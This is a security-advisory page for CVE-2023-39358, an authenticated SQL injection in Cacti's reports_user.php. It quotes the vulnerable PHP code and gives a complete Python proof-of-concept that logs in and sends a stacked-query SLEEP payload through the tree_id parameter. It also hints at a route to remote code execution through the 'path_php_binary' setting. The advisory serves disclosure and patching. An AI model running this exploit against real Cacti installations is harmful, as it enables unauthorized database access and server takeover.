Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-39358: Authenticated SQL injection vulnerability when managing reports

Cacti is an open source operational monitoring and fault management framework. An authenticated SQL injection vulnerability was discovered which allows authenticated users to perform privilege escalation and remote code execution. The vulnerability resides in the reports_user.php file. In ajax_get_branches, the tree_id parameter is passed to the reports_get_branch_select function without any validation. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.

CVE
#sql#csrf#vulnerability#php#rce#auth

Summary

An authenticated SQL injection vulnerability was discovered during the review of this project. This allows authenticated users to exploit the SQL injection vulnerability to perform privilege escalation and remote code execution.

Details

The vulnerability resides in the reports_user.php file. In ajax_get_branches, the tree_id parameter is passed to the reports_get_branch_select function without any validation.

switch (get_request_var(‘action’)) { // … case 'ajax_get_branches’: print reports_get_branch_select(get_request_var(‘tree_id’));

An SQL injection vulnerability arises in the reports_get_branch_select function, as the tree_id variable is directly utilized in the WHERE clause of the SQL statement when the tree_id variable is greater than 0.

function reports_get_branch_select($tree_id) { $sql_where = '’; if ($tree_id > 0) { $sql_where .= ($sql_where != ‘’ ? ' AND ‘:’’) . ‘gt.id=’ . $tree_id; }

$branches = array\_rekey(
    get\_allowed\_branches($sql\_where),
    'id', 'name'
);

The same code is also present in the ajax_get_branches case of the switch statement in the reports_admin.php file, which is likewise affected by SQL injection

PoC

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection.

import argparse import requests import sys import urllib3

#import os #os.environ[‘http_proxy’] = ‘http://localhost:8080’

sleep_time = 10 payload = f"""1));SELECT SLEEP({sleep_time})-- -“"”

def get_csrf_token(): url = f"{target}/index.php"

res\_body \= session.get(url).content.decode()
csrf\_token \= res\_body.split('var csrfMagicToken = "')\[1\].split('"')\[0\]
if not csrf\_token:
    print("\[-\] Unable to find csrf\_token")
    sys.exit()
return csrf\_token

def login(username,password): login_url = f"{target}/index.php"

csrf\_token \= get\_csrf\_token() 
data \= {'action':'login','login\_username':username,'login\_password':password,'\_\_csrf\_magic':csrf\_token}

res\_body \= session.post(login\_url,data\=data).content.decode()

if 'You are now logged into <' in res\_body:
    print('\[+\] Login successful!')
else:
    print('\[-\] Login failed. Check your credentials')
    sys.exit()

def exploit(): url = f"{target}/reports_user.php"

params \= {
    'action':'ajax\_get\_branches',
    'tree\_id':payload
}

print('\[+\] Sending payload...')
print(f"\[+\] Payload: {payload}")
session.get(url,params\=params)

if __name__==’__main__’: urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - reports_user.php ‘tree_id’ SQL Injection (authenticated)") parser.add_argument('-t’,’–target’,help=’’,required=True) parser.add_argument('-u’,’–username’,help=’’,required=True) parser.add_argument('-p’,’–password’,help=’’,required=True) args = parser.parse_args()

username \= args.username
password \= args.password
target \= args.target
session \= requests.Session()

login(username,password)
exploit()

Impact

This vulnerability presents a significant risk as authenticated users can exploit the SQL injection vulnerability to escalate privileges and execute remote code, potentially compromising the system’s integrity and confidentiality.
As the application accepts stacked queries, it is possible to achieve remote code execution by altering the ‘path_php_binary’ value in the database.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907